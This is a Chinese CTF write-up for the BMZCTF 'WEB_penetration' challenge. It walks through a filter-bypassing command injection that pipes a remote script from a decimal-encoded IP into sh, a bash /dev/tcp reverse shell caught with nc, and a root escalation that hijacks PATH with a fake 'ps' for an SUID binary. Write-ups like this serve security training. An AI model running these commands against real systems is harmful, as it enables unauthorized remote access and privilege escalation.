BMZCTF WEB WEB_penetration

BMZCTF WEB WEB_penetration_第1张图片
打开网页:
BMZCTF WEB WEB_penetration_第2张图片
发现过滤了很多字母和字符:

b,d,e,-,q,f,g,i,p,j,+,k,m,n,<,>,o,w,x,~,:,^,@,&,,%,",*,(,),!,=,.,[,],},{,_);

致使我们好多命令都无法操作。最后观察至curl没有被过滤。
我们就可以设置好VPS,使用VPS反弹shell
在这里插入图片描述
设置VPS的首页为:

bash -c "bash -i >& /dev/tcp/IP地址/5555 0>&1"

在VPS上打开web服务,如果没有apache或其他中间件,可以使用python:
python2:

python -m SimpleHTTPServer 80

python3:

python -m http.server 80

然后在vps上再打开一个终端,监听5555端口:

nc -lvnp 5555

假设我们的VPS的IP地址为123.123.123.123,因为页面过滤了.,我们无法直接输入IP地址,而且长度也会超过18个。
因此,我们要将IP地址进行转换:
百度搜索下IP 十进制随便点开一个就可以:
BMZCTF WEB WEB_penetration_第3张图片
我们就能看到十进制的IP地址为:2071690107
我们在页面输入:?ip=curl 2071690107|sh
BMZCTF WEB WEB_penetration_第4张图片
就能在我们的VPS上看到反弹的shell了
在这里插入图片描述
查看id
在这里插入图片描述
发现是个低权限用户:www-data
搜索flag

find / -name flag

没有找到。home目录下也没有用户名:
BMZCTF WEB WEB_penetration_第5张图片
那么flag只能存在于/root目录下,因为我们没权限,所以无法搜索到。
我们要提权到root
先找下suid:

find / -user root -perm -4000 -print 2>/dev/null

BMZCTF WEB WEB_penetration_第6张图片
发现了一个奇怪的程序:love
运行下:
BMZCTF WEB WEB_penetration_第7张图片
返回了结果。不用任何输入。
我们将其下载,并用ida进行逆向:
BMZCTF WEB WEB_penetration_第8张图片
发现love是运行了ps程序,特点有两个:
1、会将uid设为0,也就是root
2、ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限(其他可写目录也可以)

cd /tmp       # 进入/tmp目录
echo "/bin/bash" >ps    #将payload写入ps文件
chmod 777 ps            #设置可读可写可执行权限
$PATH                   #查看环境变量
export PATH=/tmp:$PATH   #将/tmp加入环境变量,并放在第一个位置

然后我们运行love,发现是root权限了
BMZCTF WEB WEB_penetration_第9张图片
现在我们就能读取flag

cat /root/flag

在这里插入图片描述

你可能感兴趣的:(BMZCTF-WEB,安全)